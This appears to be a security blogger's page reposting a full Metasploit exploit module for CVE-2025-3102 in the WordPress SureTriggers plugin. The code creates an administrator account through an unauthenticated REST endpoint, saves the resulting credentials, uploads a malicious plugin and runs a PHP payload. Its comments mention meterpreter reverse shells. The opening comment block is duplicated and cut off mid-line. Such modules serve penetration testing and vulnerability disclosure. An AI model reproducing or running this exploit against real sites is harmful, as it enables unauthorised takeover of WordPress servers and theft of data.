Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Payload::Php
include Msf::Auxiliary::Report
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress SureTriggers Auth Bypass and RCE',
'Description' => %q{
This module exploits an authorization bypass in the WordPress SureTriggers plugin (<= 1.0.78).
It first creates a new administrator account via the unauthenticated REST endpoint,
then uploads and executes a PHP payload using FileDropper for remote code execution.
},
'Author' => [
'Michael Mazzolini (mikemyers)', # Vulnerability Discovery
'Khaled Alenazi (Nxploited)', # PoC
'Valentin Lobstein' # Metasploit module
],
'References' => [
['CVE', '2025-3102'],
['URL', 'https://github.com/Nxploited/CVE-2025-3102'],
['URL', 'https://www.wordfence.com/blog/2025/04/100000-wordpress-sites-affected-by-administrative-user-creation-vulnerability-in-suretriggers-wordpress-plugin/']
],
'License' => MSF_LICENSE,
'Privileged' => false,
'Platform' => %w[unix linux win php],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix In-Memory',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows In-Memory',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-03-13',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options(
[
OptString.new('WP_USER', [true, 'Username for the new administrator', Faker::Internet.username(specifier: 5..8)]),
OptString.new('WP_PASS', [true, 'Password for the new administrator', Faker::Internet.password(min_length: 12)]),
OptString.new('WP_EMAIL', [true, 'Email for the new administrator', Faker::Internet.email(name: Faker::Internet.username(specifier: 5..8))]),
OptString.new('ST_AUTH', [false, 'Value for st_authorization header', ''])
]
)
end

def check
return CheckCode::Unknown('Target not responding') unless wordpress_and_online?

wp_version = wordpress_version
print_status("Detected WordPress version: #{wp_version}") if wp_version

plugin = 'suretriggers'
readme = check_plugin_version_from_readme(plugin, '1.0.79', '0.0.1')
detected = readme&.details&.dig(:version)

if detected.nil?
return CheckCode::Unknown("Unable to determine the #{plugin} plugin version.")
end

detected_version = Rex::Version.new(detected)

if detected_version <= Rex::Version.new('1.0.78')
return CheckCode::Appears("Detected #{plugin} version #{detected_version}")
end

CheckCode::Safe("#{plugin} #{detected_version} >= 1.0.79 appears patched")
end

def exploit
print_status('Attempting to create administrator user via auth bypass...')

create_uri = normalize_uri(target_uri.path, 'wp-json', 'sure-triggers', 'v1', 'automation', 'action')
headers = { 'st_authorization' => datastore['ST_AUTH'] }
payload = user_payload.to_json

res = send_request_cgi(
'method' => 'POST',
'uri' => create_uri,
'ctype' => 'application/json',
'data' => payload,
'headers' => headers
)

unless res&.code == 200 && res.get_json_document&.dig('success')
print_warning('Primary endpoint failed, trying fallback via rest_route...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_get' => { 'rest_route' => '/sure-triggers/v1/automation/action' },
'ctype' => 'application/json',
'data' => payload,
'headers' => headers
)
end

unless res&.code == 200 && res.get_json_document&.dig('success')
fail_with(Failure::UnexpectedReply, 'User creation did not return success')
end

print_good("Administrator created: #{datastore['WP_USER']}:#{datastore['WP_PASS']}")

create_credential(
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: datastore['WP_USER'],
private_type: :password,
private_data: datastore['WP_PASS'],
service_name: 'WordPress',
address: datastore['RHOST'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
)

vprint_good("Credential for user '#{datastore['WP_USER']}' stored successfully.")

loot_data = "Username: #{datastore['WP_USER']}, Password: #{datastore['WP_PASS']}\n"
loot_path = store_loot(
'wordpress.admin.created',
'text/plain',
datastore['RHOST'],
loot_data,
'wp_admin_credentials.txt',
'WordPress Created Admin Credentials'
)
vprint_good("Loot saved to: #{loot_path}")

report_host(host: datastore['RHOST'])

report_service(
host: datastore['RHOST'],
port: datastore['RPORT'],
proto: 'tcp',
name: fullname,
info: 'WordPress with vulnerable SureTriggers plugin allowing unauthenticated admin creation'
)

report_vuln(
host: datastore['RHOST'],
port: datastore['RPORT'],
proto: 'tcp',
name: 'SureTriggers WordPress Plugin Auth Bypass',
refs: references,
info: 'Unauthenticated admin creation via vulnerable REST API endpoint'
)

cookie = wordpress_login(datastore['WP_USER'], datastore['WP_PASS'])
upload_and_execute_payload(cookie)
end

def user_payload
{
'integration' => 'WordPress',
'type_event' => 'create_user_if_not_exists',
'selected_options' => {
'user_name' => datastore['WP_USER'],
'password' => datastore['WP_PASS'],
'user_email' => datastore['WP_EMAIL'],
'role' => 'administrator'
},
'fields' => [],
'context' => {}
}
end

def upload_and_execute_payload(auth_cookie)
plugin = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}.php"
zip = generate_plugin(plugin, payload_name.sub('.php', ''))

print_status('Uploading malicious plugin for code execution...')
ok = wordpress_upload_plugin(plugin, zip.pack, auth_cookie)
fail_with(Failure::UnexpectedReply, 'Plugin upload failed') unless ok

payload_uri = normalize_uri(wordpress_url_plugins, plugin, payload_name)
print_status("Executing payload at #{payload_uri}...")
register_files_for_cleanup(payload_name, "#{plugin}.php")
register_dir_for_cleanup("../#{plugin}")
send_request_cgi('uri' => payload_uri, 'method' => 'GET')
end
end
Social Media Share